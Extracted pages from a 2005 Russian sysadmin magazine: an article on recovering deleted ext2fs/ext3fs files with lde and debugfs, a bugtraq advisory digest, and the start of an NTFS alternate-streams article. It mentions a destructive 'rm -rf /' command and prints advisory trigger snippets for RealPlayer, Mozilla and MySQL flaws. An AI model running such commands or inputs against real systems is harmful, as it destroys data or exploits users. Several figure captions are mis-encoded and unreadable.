КРИС КАСПЕРСКИ Информации по восстановлению данных под Linux практически нет. Как будто у пользователей этой ОС данные не исчезают. Исчезают, еще как! Ошибочное удаление файлов – достаточно распространенное явление, наверное, даже более частое, чем в мире Microsoft. Под Windows большинство файловых операций осуществляется вручную с помощью «Проводника» или других интерактивных средств типа FAR. Интерактивные среды есть и в Linux (KDE, GNOME, Midnight Commander), но есть там и поклонники командной строки, а командная строка – это регулярные выражения и скрипты, то есть автоматизированные средства управления – мощные, удобные, и… разрушительные. Малейшая небрежность их проектирования и… прощай, мои файлы! Помнится, год-два назад по сети распространялся «Албанский вирус». То тут, то там на форумах появлялись сообщения с просьбой объяснить, что делает очень запутанный код на Perl. Задетые за живое гуру, поленившись вникнуть в его суть, просто запускали непонятную программу на выполнение... и напрасно! Посредством нетривиальных подстановок строковая конструкция разворачивалась в «rm -rf /»! Восстановить весь корневой каталог под ext2fs, а тем более ext3fs очень и очень сложно. Можно даже сказать, практически не-

36

реально. Однако если пользователь был зарегистрирован в системе не как root, жертвами неосторожного эксперимента оказывались «всего лишь» файлы из его домашнего каталога. Поэтому в данной статье речь пойдет только о восстановлении отдельных, наиболее ценных файлов. Перефразируя Булгакова, можно сказать: мало того, что файл смертен, так он еще и внезапно смертен! Беда никогда не предупреждает о своем приходе, и администратору приходится быть постоянно начеку. Несколько секунд назад все было хорошо: цвела весна, винчестер оживленно стрекотал всеми своими головками, администратор отхлебывал кофе из черной кружки с надписью root, раздумывая: то ли поиграть в DOOM, то ли поболтать с секретаршей, как вдруг… бабах! Сотни гигабайт ценнейших данных разлетелись на мелкие осколки. Все силы брошены на разгребания завалов и спасения всех, кого еще можно спасти.

Инструментарий Программ, пригодных для восстановления данных, под Linux совсем немного, намного меньше, чем под Windows NT, да и тем до совершенства как до Луны. Но ведь не разрабатывать же весь необходимый инструментарий самостоятель-


администрирование но?! Будем использовать то, что дают, утешая себя мыслью, что нашим предкам, работающим на динозаврах машинной эры, приходилось намного сложнее.

удобно (привычный интерфейс и все такое), с другой – ни Disk Editor, ни NT Explorer не поддерживают ext2fs/ext3fs, и все структуры данных приходится декодировать вручную.

Редактор диска

hex-редакторы

Под Linux диски чаще всего редактируются при помощи lde (расшифровывается как Linux Disk Editor). Это, конечно, не Norton Disk Editor, но и не Microsoft Disk Probe. Профессионально-ориентированный инструмент консольного типа с разумным набором функциональных возможностей. Понимает ext2fs, minix, xiafs и отчасти FAT (в перспективе обещана поддержка NTFS, которая на Linux никому не нужна, а вот отсутствие в этом списке UFS и FFS очень огорчает). Поддерживает: отображение/редактирование содержимого в HEX-формате, просмотр суперблока (super-block), файловых записей (inode) и директорий в удобочитаемом виде; контекстный поиск, поиск файловых записей, ссылающихся на данный блок (полезная штука, только, к сожалению, реализованная кое-как и срабатывающая не всегда), режим восстановления с ручным редактированием списка прямых/косвенных блоков, сброс дампа на диск и некоторые другие второстепенные операции. Может работать как в пакетном, так и в интерактивном режимах. В пакетном режиме все управление осуществляется посредством командной строки, что позволяет полностью или частично автоматизировать некоторые рутинные операции. Распространяется в исходных текстах по лицензии GPL (http://lde.sourceforge.net), денег не требует, работает практически под любой UNIX-совместимой операционной системой (включая FreeBSD) и входит во все «правильные» дистрибутивы (например, в Knoppix).

UNIX – это вам не Windows! Без дисковых редакторов здесь в принципе можно и обойтись. Берем любой hex-редактор, открываем соответствующее дисковое устройство (например, /dev/sdb1) и редактируем его в свое удовольствие. Красота! Старожилы, должно быть, помнят, как во времена первой молодости MS-DOS, когда ни HIEW, ни QVIEW еще не существовало, правка исполняемых файлов на предмет «отлома» ненужного 7xh обычно осуществлялось DiskEdit, т.е. дисковый редактор использовался как hex. А в UNIX, наоборот, hex-редакторы используются для редактирования диска. Какой редактор выбрать? В общем-то, это дело вкуса (причем не только вашего, но еще и составителя дистрибутива). Одни предпочитают консольный hexedit, другие тяготеют к графическому khededit, а третьи выбирают BIEW (урезанная калька со всем известного HIEW).

Ðèñóíîê 2. Âíåøíèé âèä ðåäàêòîðà hexedit

Ðèñóíîê 1. Äèñêîâûé ðåäàêòîð LDE (Linux Disk Editor)

Работа с lde на первых порах производит довольно странное впечатление: чувствуешь себя неандертальцем, пересевшим с IBM PC на УКНЦ/ZX Spectrum и добывающим огонь трением. Впрочем, со временем это проходит (программист, как известно, существо неприхотливое и ко всему привыкающее). Как вариант можно загрузиться со «спасательной дискеты» и использовать знакомый Norton Disk Editor или Runtime NT Explorer, запущенный из-под Windows PE (версия Windows NT, запускающаяся с CD-ROM без предварительной установки на жесткий диск). С одной стороны, это

№3, март 2005

Ðèñóíîê 3. Âíåøíèé âèä ðåäàêòîðà khexedit

Отладчики файловой системы Отладчиками файловой системы называют утилиты, дающие доступ к «святая святых» файловой системы и позво-

37


администрирование ляющие манипулировать ключевыми структурами данных по своему усмотрению. Чем они отличаются от простых редакторов? Редактор работает на более низком уровне – уровне блоков или секторов. Он в принципе может представлять некоторые структуры в наглядном виде, однако в их «физический» смысл никак не вникает. Отладчик файловой системы работает через драйвер, и потому испортить раздел с его помощью намного сложнее. Он реализует довольно высокоуровневые операции, такие как установка/снятие флага занятости блока, создание новой символьной ссылки и т. д. А вот «посекторного» hex-редактора отладчики файловой системы обычно не содержат, поэтому обе категории программ взаимно дополняют друг друга. Большинство дистрибутивов Linux (если не все из них) включают в себя отладчик debugfs, поддерживающий ext2fs и отчасти ext3fs.

нимает всего один диск, но содержит практически все: от дисковых утилит и компиляторов до офисных пакетов и мультимедийных приложений1. Очень шустро работает, требует от 128 Мб оперативной памяти (если меньше – будет вести свопинг на диск). В 2004 году издательство O’Reilly выпустило шикарную книгу «KNOPPIX Hacks», содержащую главы, посвященные технике восстановления данных. Frenzy 0.3 – дистрибутив, основанный на FreeBSD с небольшим количеством дисковых утилит, ориентированных на ext2fs, в то время как основной файловой системой самой BSD является USF/FFS и ext2fs она поддерживает постольку-поскольку2. Тем не менее для восстановительных работ данный диск вполне пригоден, и всем поклонникам BSD его можно смело рекомендовать. SuSE 9.2 – по классификации, предложенной Винни-Пухом, это неправильный дистрибутив. Занимает два диска (один с KDE, другой с GNOME). Требует не менее 256 Мб оперативной памяти (правда, KDE-версия запускается и при 220 Мб). Очень медленно работает и не содержит ничего, кроме щепотки офисных программ.

Подготовка к восстановлению Прежде чем приступать к восстановлению, обязательно размонтируйте дисковый раздел или на худой конец перемонтируйте его в режим «только на чтение». Лечение активных разделов зачастую только увеличивает масштабы разрушения. Если восстанавливаемые файлы находятся на основном системном разделе, у нас два пути – загрузиться с LiveCD или подключить восстанавливаемый жесткий диск на Linux-машину вторым. Чтобы чего-нибудь не испортить, никогда не редактируйте диск напрямую. Работайте с его копией, которую можно создать командой: Ðèñóíîê 4. Debugfs çà ðàáîòîé

Дисковые доктора В мире UNIX проверка целостности файловой системы обычно осуществляется программой fsck (аналог chkdsk под Windows NT), представляющей собой консольную утилиту, практически лишенную пользовательского интерфейса и входящую в штатный комплект поставки любого дистрибутива. Как и любое другое полностью автоматизированное средство, она не только лечит, но случается, что и калечит, так что пользоваться ей следует с очень большой осторожностью.

LiveCD За последние несколько лет появилось множество дистрибутивов Linux, загружающихся прямо с CD-ROM и не требующих установки на винчестер. Очень удобная штука для восстановления данных. Однако далеко не все дистрибутивы для этого пригодны. Knoppix 3.7 – самый лучший дистрибутив из всех, что мне доводилось видеть. Основан на Debian GNU/Linux. За1 2

38

cp /dev/sdb1 my_dump

где sdb1 – имя устройства, а my_dump – имя файла-дампа или использовать dd (некоторым так привычнее). Файлдамп можно разместить на любом свободном разделе или перегнать на другую машину по сети. Все дисковые утилиты (lde, debugsf, fschk) не заметят подвоха и будут работать с ним, как с «настоящим» разделом. При необходимости его даже можно смонтировать на файловую систему: mount my_dump mount_point -o loop

чтобы убедиться, что восстановление прошло успешно. Команда: cp my_dump /dev/sdb1

копирует восстановленный файл-дамп обратно в раздел, хотя делать это совсем необязательно. Проще (и безопаснее) копировать только восстанавливаемые файлы.

Обзор дистрибутива Knoppix смотрите на стр. 4-6. (Прим. ред.) Обзор дистрибутива Frenzy – в статьях Александра Байрака «Безумный чертёнок», №1, 2004 г. и «Frenzy: FreeBSD в кармане сисадмина» Сергея Можайского в №2, 2004 г.


администрирование Восстановление удаленных файлов на ext2fs Ext2fs все еще остается базовой файловой системой для многих Linux, поэтому рассмотрим ее первой. Концепции, которые она исповедует, во многом схожи с NTFS, так что культурного шока при переходе с NTFS на ext2fs с нами не случится. Подробное описание структуры хранения данных ищите в документе «Design and Implementation of the Second Extended Filesystem», а также книге Э. Таненбаума «Operating Systems: Design and Implementation» и статье В. Мешкова «Архитектура файловой системы ext2», опубликованной в журнале «Системный администратор», №11, 2003 г. Исходные тексты дисковых утилит (драйвер файловой системы, lde, debugfs) также не помешают.

Структура файловой системы В начале диска расположен boot-сектор (на незагрузочных разделах он может быть пустым). За ним по смещению 1024 байта от начала первого сектора лежит суперблок (super-block), содержащий ключевую информацию о структуре файловой системы. (В FAT и NTFS эта информация хранится непосредственно в boot). В первую очередь нас будет интересовать 32-разрядное поле s_log_block_size, расположенное по смещению 18h байт от начала супер-блока. Здесь хранится размер одного блока (block), или в терминологии MS-DOS/Windows кластера, выраженный в виде показателя позиции, на которую нужно сдвинуть число 200h. В естественных единицах это будет звучать так: block_size = 200h << s_log_block_size (байт). То есть если s_log_block_size равен нулю, размер одного блока составляет 400h байт или два стандартных сектора. Ëèñòèíã 1. Ñòðóêòóðà äèñêîâîãî òîìà, ðàçìå÷åííîãî ïîä ext2fs

Вслед за суперблоком идут дескрипторы групп (group descriptors) и карты свободного пространства, в просторечии – битмапы (block bitmap/inode bitmap), которые нас мало интересуют, а вот inode-таблицу, расположенную за ними, мы рассмотрим поподробнее. В ext2fs (как и многих других файловых системах из мира UNIX) inode играет ту же самую роль, что и FILE Record в NTFS. Здесь сосредоточена вся информация о файле: тип файла (обычный файл, директория, символическая ссылка и т. д.), логический и физический размер, схема размещения на диске, время создания, модификации, последнего доступа и удаления, правда доступа и количество ссылок на файл.

№3, март 2005

Ëèñòèíã 2. Ôîðìàò ïðåäñòàâëåíèÿ inode

Первые 12 блоков, занимаемых файлом, хранятся непосредственно в самом inode в массиве DIRECT BLOCKS (непосредственные блоки для наглядности выделены полужирным шрифтом). Каждый элемент массива представляет собой 32-битный номер блока. При среднем значении BLOCK_SIZE в 4 Кб DIRECT BLOCK могут адресовать до 4 * 12 = 48 Кб данных. Если файл превышает этот размер, создаются один или несколько блоков косвенной адресации (INDIRECT BLOCK). Первый блок косвенной адресации (1x INDIRECT BLOCK или просто INDIRECT BLOCK) хранит ссылки на другие непосредственные блоки. Адрес этого блока хранится в поле i_indirect_block в inod. Как легко посчитать, он адресует порядка BLOCK_SIZE/sizeof(DWORD) * BLOCK_SIZE = 4096/4 *4 Мб данных. Если этого вдруг окажется недостаточно, создается дважды косвенный блок (2x INDIRECT BLOCK или DOUBLE INDIRECT BLOCK), хранящий указатели на косвенные блоки, что позволяет адресовать (BLOCK_SIZE/sizeof(DWORD))**2* BLOCK_SIZE = 4096/4 ** 4096 = 4 Гб данных. Если же этого все равно недостаточно, создается трижды косвенный блок (3x INDIRECT BLOCK или TRIPLE INDIRECT BLOCK), содержащий ссылки на дважды косвенные блоки (на данном рисунке трижды косвенный блок не показан). Отметим, что по сравнению с NTFS такая схема хранения информации о размещении гораздо проще устроена, но вместе с тем и прожорлива. Однако она обладает одним несомненным достоинством, которое оставляет NTFS далеко позади. Поскольку все ссылки хранятся в неупакованном виде, для каждого блока файла мы можем быстро найти соответствующий ему косвенный блок, даже если inode полностью разрушен.

Ðèñóíîê 5. Îïèñàíèå ïîðÿäêà ðàçìåùåíèÿ ôàéëà íà äèñêå, èåðàðõèÿ íåïîñðåäñòâåííûõ è êîñâåííûõ áëîêîâ

39


администрирование Имя файла в inode не хранится. Ищите его внутри директорий, представляющих собой массив записей следующего вида: Ëèñòèíã 3. Ôîðìàò ïðåäñòàâëåíèÿ ìàññèâà äèðåêòîðèé

При удалении файла операционная система находит соответствующую запись в директории. Обнуляет поле inode и увеличивает размер предшествующей записи (поле rec_len) на величину удаляемой. То есть предшествующая запись как бы «поглощает» удаленную. И хотя имя файла до поры до времени остается нетронутым, ссылка на соответствующий ему inode оказывается уничтоженной. Вот и попробуй разобраться, какому файлу какое имя принадлежит! В самом inode при удалении файла тоже происходят большие изменения. Количество ссылок (i_links_count) сбрасывается в нуль и обновляется поле последнего удаления (i_dtime). Все блоки, принадлежащие файлу, в карте свободного пространства (block bitmap) помечаются как неиспользуемые, после чего данный inode также освобождается (в inode bitmap).

Техника восстановления удаленных файлов В ext2fs полное восстановление даже только что удаленных файлов невозможно. В этом смысле она проигрывает как FAT, так и NTFS. Как минимум теряется имя файла. Точнее говоря, теряется связь имен файлов с их содержимым. При удалении небольшого количества хорошо известных файлов это еще терпимо (имена-то ведь сохранились!), но что делать, если вы удалили несколько служебных подкаталогов, в которых никогда ранее не заглядывали? Достаточно часто inode назначаются в том же порядке, в котором создаются записи в таблице директорий, к тому же существует такая штука, как «расширения» (.c, .gz, .mpg и т. д.), так количество возможных комбинаций соответствий имен файлов и inode чаще всего бывает относительно небольшим. Тем не менее восстановить удаленный корневой каталог в автоматическом режиме никому не удастся, а вот NTFS с этим справляется без труда. В общем, стратегия восстановления выглядит приблизительно так: сканируем таблицу inode и отбираем все записи, чье поле i_links_count равно нулю. Сортируем их по дате удаления, чтобы файлы, удаленные последними, оказались наверху списка. Как вариант можно просто наложить фильтр (мы ведь помним примерное время удаления, не правда ли?). Если соответствующие inode еще не затерты вновь создаваемыми файлами, извлекаем список прямых/косвенных блоков и записываем их в дамп, корректируя его размер с учетом «логического» размера файла, за которое отвечает поле i_size.

Восстановление при помощи lde Открываем редактируемый раздел или его файловую копию: «lde my_dump» или «lde /dev/sdb1». Редактор автома-

40

тически определяет тип файловой системы (в данном случае ext2fs) и предлагает нажать «any key» для продолжения. Нажимаем! Редактор переключается в режим отображения суперблока и предлагает нажать <I> для перехода в режим inode и <B> для перехода в блочный режим (blockmode). Жмем <I> и оказываемся в первом inode, описывающем корневой каталог. <Page Down> перемещает нас к следующему inode, а <Page Up> – к предыдущему. Пролистываем inode вниз, обращая внимание на поле LINKS. У удаленных файлов оно равно нулю, и тогда «DELETION TIME» содержит время последнего удаления (мы ведь помним его, правда?). Обнаружив подходящий inode, перемещаем курсор к первому блоку в списке DIRECT BLOCKS (где он должен находиться по умолчанию) и нажимаем <F2>. В появившемся меню выбираем пункт «Block mode, viewing block under cursor» (или сразу нажимаем горячую клавишу <Shift-B>). Редактор перемещается на первый блок удаленного файла. Просматривая его содержимое в hex-режиме, пытаемся определить, он ли это или нет. Чтобы возвратиться к просмотру следующего inode, нажимаем <I>, чтобы восстановить файл – <Shift-R>, затем еще раз <R> и имя файладампа для восстановления. Можно восстанавливать файлы и по их содержимому. Допустим, нам известно, что удаленный файл содержит строку «hello, world». Нажимаем <f> и затем <A> (Search all block). Этим мы заставляем редактор искать ссылки на все блоки, в том числе и удаленные. Как вариант можно запустить редактор с ключом «--all». Но так или иначе мы нажимаем <B>, затем, когда редактор перейдет в block-mode, – </> и вводим ASCII-строку для поиска. Находим нужный блок. Прокручивая его вверх-вниз, убеждаемся, что он действительно принадлежит тому самому файлу. Если это так, нажимаем <Ctrl>+<R>, заставляя редактор просматривать все inode, содержащие ссылку на этот блок. Номер текущего найденного inode отображается внизу экрана. (Именно внизу! Вверху отображается номер последнего просмотренного inode в режиме inode). Переходим в режим inode по клавише <I>, нажимаем <#> и вводим номер inode, который хотим просмотреть. Если дата удаления более или менее соответствует действительности, нажимаем <Shift-R>/ <R> для сброса файла на диск. Если нет – возвращаемся в block-mode и продолжаем поиск. В сложных случаях, когда список прямых и/или косвенных блоков разрушен, восстанавливаемый файл приходится собирать буквально по кусочкам, основываясь на его внутреннем содержимом и частично – на стратегии выделения свободного пространства файловой системой. В этом нам поможет клавиша <w> – дописать текущий блок к файлу-дампу. Просто перебираем все свободные блоки один за другим (редактор помечает их строкой NOT USED) и, обнаружив подходящий, дописываем в файл. Конечно, сильно фрагментированный двоичный файл так не восстановить, но вот листинг программы можно вполне. Вывод – ручное восстановление файлов с помощью lde крайне непроизводительно и трудоемко, зато наиболее «прозрачно» и надежно. А вот восстанавливать оригинальные имена лучше всего при помощи debugfs.


администрирование Восстановление при помощи debugfs Загружаем в отладчик редактируемый раздел или его копию, «debugfs my_dump» или «debugfs /dev/sdb1». Если мы планируем осуществлять запись на диск, необходимо указать ключ «-w» («debugfs -w my_dump» или «debugfs -w /dev/ sdb1». Чтобы просмотреть список удаленных файлов, даем команду «lsdel» (или «lsdel t_sec», где t_sec – количество секунд, прошедшее с момента удаления файла). Экран заполняется списком удаленных файлов. Естественно, без имен. Файлы, удаленные более чем t_sec секунд назад (если sec задан), в этот список не попадают. Команда «cat <N>» выводит содержимое текстового файла на терминал, где <N> – номер inode, заключенный в угловые кавычки. При выводе двоичных файлов на экране творится черт знает что, и такие файлы должны сбрасываться в дамп командой «dump <N> new_file_name», где «new_file_name» – новое имя файла (с путем), под которым он будет записан в родную (native) файловую систему, т.е. ту файловую систему, на которой был запущен debugfs. Файловая система восстанавливаемого раздела при этом остается неприкосновенной. Другими словами, наличие ключа «-w» для этого не требуется. При желании можно «реанимировать» файл непосредственно на самой восстанавливаемой файловой системе (что особенно удобно при восстановлении больших файлов). В этом нам поможет команда «undel <N> undel_file_name», где undel_file_name – имя, которое будет присвоено файлу после восстановления. Внимание! Когда будете это делать, помните, что команда undel крайне агрессивна и деструктивна по своей природе. Она затирает первую свободную запись в таблице директорий, делая восстановление оригинальных имен невозможным! Команда «stat <N>» отображает содержимое inode в удобочитаемом виде, а команда «mi <N>» позволяет редактировать их по своему усмотрению. Для ручного восстановления файла (которого не пожелаешь и врагу) мы должны установить счетчик ссылок (link count) в единицу, а время удаления (deletion time), наоборот, сбросить в нуль. Затем отдать команду «seti <N>», помечающую данный inode как используемый, и для каждого из блоков файла выполнить «setb X», где X – номер блока (перечень блоков, занимаемых файлов, можно подсмотреть командой stat, причем в отличие от lde она отображает не только непосредственные, но и косвенные блоки, что несравненно удобнее). Остается только дать файлу имя, что осуществляется путем создания каталожной ссылки (directory link), а делает это команда «ln <N> undel_file_name», где undel_file_name – имя, которое будет дано файлу после восстановления, при необходимости с путем. (Внимание! создание каталожных ссылок необратимо затирает оригинальные имена удаленных файлов). После этого полезно дать команду «dirty», чтобы файловая система была автоматически проверена при следующей загрузке, или выйти из отладчика и вручную запустить fsck с ключом «-f», форсирующим проверку. Теперь перейдем к восстановлению оригинального имени. Рассмотрим простейший случай, когда директория, содержащая удаленный файл (также называемая материнской директорией) все еще цела. Даем команду «stat dir_ name» и запоминаем номер inode, который нам сообщат.

№3, март 2005

Говорим отладчику «dump <INODE> dir_file», где INODE – номер сообщенного нам индексного дескриптора, dir_file – имя файла на родной файловой системе, в которую будет записан дамп. Загружаем полученный дамп в hex-редактор и просматриваем его содержимое в «сыром» виде. Все имена будут там. При желании можно написать утилитуфильтр, выводящую только удаленные имена. На Perl это не займет и десяти минут. А как быть, если материнская директория тоже пострадала? Тогда она и будет помечена удаленной! Выводим список удаленных inodе, отбираем из них директории, формируем перечень принадлежащих им блоков и записываем дамп в файл, просматриваемый вручную или с помощью утилиты-фильтра. Как уже отмечалось, порядок расположения файлов в списке inodе очень часто совпадает с порядком расположения файлов в директории, поэтому восстановление оригинальных имен в четырех из пяти случаев проходит на ура. При тяжких разрушениях, когда восстанавливаемый файл приходится собирать по кусочкам, помогает команда «dump_unused», выводящая на терминал все неиспользуемые блоки. Имеет смысл перенаправить вывод в файл, запустить hexedit и покопаться в этой куче хлама – это, по крайней мере проще, чем лазить по всему диску (на дисках, заполненных более чем на три четверти, данный трюк сокращает массу времени). Вывод: debugfs в значительной мере автоматизирует восстановление удаленных файлов (впрочем, до полного комфорта ему далеко), однако восстановить файл с разрушенным inode он не способен и без lde здесь не обойтись.

Восстановление при помощи R-Studio Утилита R-Studio for NTFS, уже рассмотренная нами в предыдущих номерах журнала, вопреки своему названию, поддерживает не только NTFS, но и ext2fs/ext3fs.

Ðèñóíîê 6. Óòèëèòà R-Studio for NTFS âîññòàíàâëèâàåò óäàëåííûå ôàéëû íà ext2fs ðàçäåëå. Ôàéëû åñòü, íî íåò èìåí

С точки зрения неквалифицированных пользователей это хорошее средство для автоматического восстановления удаленных файлов: интуитивно-понятный интерфейс, простое управление и прочие прелести прогресса. Файлы восстанавливаются несколькими щелчками. Правда, без имен и без каких-либо гарантий, что они вообще восстановятся.

41


администрирование Ручное восстановление не поддерживается. Файлы с разрушенным inode не восстанавливаются, хотя под ext2fs, в отличие от NTFS, это достаточно просто сделать! В общем, для профессионального использования R-Studio категорически не подходит (рис. 6).

Восстановление удаленных файлов на ext3fs Файловая система ext3fs – это ext2fs с поддержкой журналирования (в терминологии NTFS – транзакций). В отличие от ext2fs она намного бережнее относится к массиву директорий и при удалении файла, ссылка на inode уже не уничтожается, что упрощает автоматическое восстановление оригинальных имен. Однако поводов для радости у нас нет никаких, поскольку в ext3fs перед удалением файла список принадлежащих ему блоков тщательно вычищается. Как следствие – восстановление становится невозможным. Ну… практически невозможным. Нефрагментированные файлы с более или менее осмысленным содержимым (например, исходные тексты программ) еще можно собрать по частям, но и времени на это уйдет… К счастью, косвенные блоки не очищаются, а значит, мы теряем лишь первые 12 * BLOCL_SIZE байт каждого файла. На типичном 10 Гб разделе BLOCK_SIZE обычно равен 4 или 8 Кб, т.е. реальные потери составляют менее 100 Кб. По современным понятиям – сущие пустяки! Конечно, без этих 100 Кб большинство файлов просто не запустятся, однако недостающие 12 блоков найти на диске вполне реально. Если повезет, они окажутся расположенными в одном-двух непрерывных отрезках. Даже на сильно фрагментированных разделах непрерывные отрезки из 6-12 блоков встречаются достаточно часто. Как мы будем действовать? Необходимо найти хотя бы один блок, гарантированно принадлежащий файлу и при этом расположенный за границей в 100 Кбайт от его начала. Это может быть текстовая строка, копирайт фирмы, да все что угодно! Нам нужен номер блока. Пусть для определенности он будет равен 0x1234. Записываем его в обратном порядке так, чтобы младший байт располагался по меньшему адресу, и выполняем поиск 34h 12h 00h 00h – именно это число будет присутствовать в косвенном блоке. Отличить косвенный блок от всех остальных блоков (например, блоков, принадлежащих файлам данных) очень легко – он представляет собой массив 32-битных номеров блоков более или менее монотонно возрастающих. Дважды и трижды косвенные блоки отыскиваются по аналогичной схеме. Проблема в том, что одни и те же блоки в разное время могли принадлежать различным файлам, а значит, и различным косвенным блокам. Как разобраться, какой из них правильный? Да очень просто! Если хотя бы одна из ссылок косвенного блока указывает на уже занятый блок, данный косвенный блок принадлежит давно удаленному файлу и нам совсем не интересен. Кстати говоря, debugfs не вполне хорошо поддерживает ext3fs. В частности, команда lsdel всегда показывает ноль удаленных файлов, даже если был стерт весь раздел. Так что вопрос выбора файловой системы отнюдь не так прост, каким его пытаются представить книги из серии «Linux для

42

начинающих», а преимущества ext3fs на рабочих станциях и домашних компьютерах далеко небесспорны и неочевидны. Поддержка транзакций реально требуется лишь серверам (да и то не всем), а вот невозможность восстановления ошибочно удаленных файлов зачастую приносит намного большие убытки, чем устойчивость файловой системы к внезапным отказам питания.

Ðèñóíîê 7. Óòèëèòà R-Studio, âîññòàíàâëèâàþùàÿ óäàëåííûå ôàéëû íà ðàçäåëå ext3fs. Åñòü èìåíà, íåò ñàìèõ ôàéëîâ (èõ äëèíà ðàâíà íóëþ, ò.ê. ñïèñîê íåïîñðåäñòâåííûõ áëîêîâ çàòåðò)

Заключение Доступность исходных текстов драйвера файловой системы значительно упрощает исследование ее внутренней структуры, которая, кстати говоря, очень проста и восстановление данных на ext2fs/ext3fs – обычное дело. Файловые системы UFS и FFS, работающие под FreeBSD, устроены намного сложнее, к тому же достаточно скудно документированы. А ведь FreeBSD занимает далеко не последнее место в мире UNIX-совместимых операционных систем и разрушения данных даже в масштабах небольшого городка происходят сплошь и рядом. К счастью, в подавляющем большинстве случаев информацию можно полностью восстановить, но об этом – в следующий раз.

Литература: 1. Design and Implementation of the Second Extended File system – подробное описание файловой системы ext2fs от разработчиков проекта на английском языке: http:// e2fsprogs.sourceforge.net/ext2intro.html. 2. Linux Ext2fs Undeletion mini-HOWTO – краткая, но доходчивая инструкция по восстановлению удаленных файлов на ext2fs-разделах на английском языке: http:// www.praeclarus.demon.co.uk/tech/e2-undel/howto.txt. 3. Ext2fs Undeletion of Directory Structures mini-HOWTO – краткое руководство по восстановлению удаленных директорий на ext2fs-разделах на английском языке: http:/ /www.faqs.org/docs/Linux-mini/Ext2fs-Undeletion-DirStruct.html. 4. HOWTO-undelete – еще одно руководство по восстановлению удаленных файлов на ext2fs-разделах при помощи редактора lde на английском языке: http://lde. sourceforge.net/UNERASE.txt.


bugtraq Переполнение буфера в RealPlayer Программа: RealPlayer версии до 6.0.12.1059; Linux RealPlayer 10 and Helix Player. Опасность: Средняя. Описание: Уязвимость позволяет удаленному пользователю выполнить произвольный код на целевой системе. 1. Переполнение буфера существует при обработке SMIL. Удаленный пользователь может создать специальным образом SMIL-файл, вызвать переполнение буфера и выполнить произвольный код на системе. Уязвимость существует в файле datatype/smil/renderer/smil1/smlparse.cpp при обработке атрибута размера экрана. Пример (переполнение буфера происходит, если «LONGSTRING» более 256 байт): <text src="1024_768.en.txt" region="size" system-screen-size="LONGSTRINGX768">

2. Уязвимость существует при обработке WAV-файлов. Злоумышленник может специальным образом создать WAVфайл, вызвать переполнение буфера и выполнить произвольный код на системе. URL производителя: http://www.real.com. Решение: Установите обновления с сайта производителя.

Подмена строки состояния в браузере Mozilla Программа: Mozilla 1.7.5; Mozilla Thunderbird 1.0; Mozilla Firefox 1.0.1. Опасность: Низкая. Описание: Уязвимость существует при отображении пути к сохраняемой странице при нажатии на ссылке и выборе меню «Save Link Target As…». Удаленный пользователь может специальным образом создать ссылку и заставить пользователя сохранить злонамеренный файл. Пример: <a href="[TRUSTED_URL]"> < table><tr><td> < a href="[MALICIOUS_URL]">download < /a> < /td></tr></table> < /a>

Выполнение произвольного кода в Mozilla Программа: Mozilla 1.7.3; Mozilla Firefox 1.0 и более ранние версии. Опасность: Средняя. Описание: Уязвимость позволяет удаленному пользователю вызвать повреждение куки и выполнить произвольный код на уязвимой системе. Уязвимость существует в функциях обработки строк в файле mozilla/xpcom/string/src/nsTSubstring.cpp. Функция nsTSubstring_CharT::Replace() не проверяет возвращаемое значение, которое увеличивает строку. Для реализации уязвимости требуется потребление всей доступной для целевого процесса или пользователя памяти. Удаленный пользователь может с помощью специально сформированных заголовков, с помощью javascript сценария или какимлибо другим способом заставить браузер потребить большое количество памяти и затем перезаписать память произвольными данными. Удачная эксплуатация позволит злоумышленнику выполнить произвольный код на системе или вызвать отказ в обслуживании. URL производителя: http://mozilla.org. Решение: Установите обновления с сайта производителя.

Отказ в обслуживании при обработке MS-DOS имен в MySQL Программа: MySQL 4.0.x и 4.1.x for Windows. Опасность: Низкая. Описание: Уязвимость обнаружена при обработке зарезервированных имен MS-DOS-устройств. Удаленный пользователь может создать одноименную базу данных с MS-DOSустройством и при переходе в нее вызвать отказ в обслуживании базы данных. Для успешной эксплуатации уязвимости злоумышленнику требуются глобальные привилегии на REFERENCES, CREATE TEMPORARY TABLES, GRANT OPTION, CREATE и SELECT. Пример: use LPT1;

URL производителя: http://www.mozilla.com. Решение: Способов устранения уязвимости не существует в настоящее время.

URL производителя: http://www.mysql.com. Решение: Установите последнюю версию от производителя.

Повышение привилегий в grsecurity в PaX

Выполнение произвольного кода в libXpm

Программа: grsecurity версии до 2.1.2. Опасность: Низкая. Описание: Уязвимость обнаружена на системах с включенным зеркалированием vma посредством опций ядра SEGMEXEC или RANDEXEC. Локальный пользователь может выполнить произвольный код с привилегиями целевого процесса с помощью любой программы, которая может быть выполнена на системе. URL производителя: http://pax.grsecurity.net. Решение: Установите последнюю версию от производителя.

Программа: libXpm. Опасность: Высокая. Описание: Уязвимость существует в файле lib/scan.c из-за некорректной обработки входных данных, содержащихся в графических файлах. Злоумышленник может создать специальным образом графический файл, вызвать переполнение буфера и выполнить произвольный код на системе. URL производителя: http://www.x.org. Решение: Установите обновление от производителя.

№3, март 2005

Составил Александр Антипов

43


администрирование

ИСПОЛЬЗОВАНИЕ АЛЬТЕРНАТИВНЫХ ПОТОКОВ ДАННЫХ Когда армия сталкивается с оврагами и ущельями, заболоченной местностью с тростником и высокой травой, горными лесами или густым и спутанным кустарником, необходимо тщательно прочесать их, ибо там могут быть спрятаны засады и шпионы… Стратегия ведения войны такова: не полагайся на то, что враг не придет, полагайся на средства, которыми располагаешь, чтобы принять его. Не полагайся на то, что враг не нападет; полагайся на то, чтобы наши позиции были неуязвимы для нападения… Поэтому сказано, что тот, кто знает врага и знает себя, не окажется в опасности и в ста сражениях. Тот, кто не знает врага, но знает себя, будет то побеждать, то проигрывать. Тот, кто не знает ни врага, ни себя, неизбежно будет разбит в каждом сражении… «Искусство войны» Сунь-Цзы

МАКСИМ КОСТЫШИН Возможность использования альтернативных потоков данных (Alternate Data Streams – ADS) заложена в файловой системе NTFS и поддерживается операционными системами Microsoft Windows 2000 и выше. Специфика ADS заключается в том, что c файлами и каталогами могут ассоциироваться дополнительные наборы данных, информация о которых и само содержимое, вообще говоря, недоступны с помощью стандартных утилит и встроенных команд операционной системы Microsoft Windows. Изложение основных подходов работы с альтернативными потоками построено на конкретных примерах. Также в статье приводится сравнительный обзор специализированных утилит, позволяющих производить поиск файлов, содержащих ADS, а также выполнять операции с информацией, хранимой в потоках.

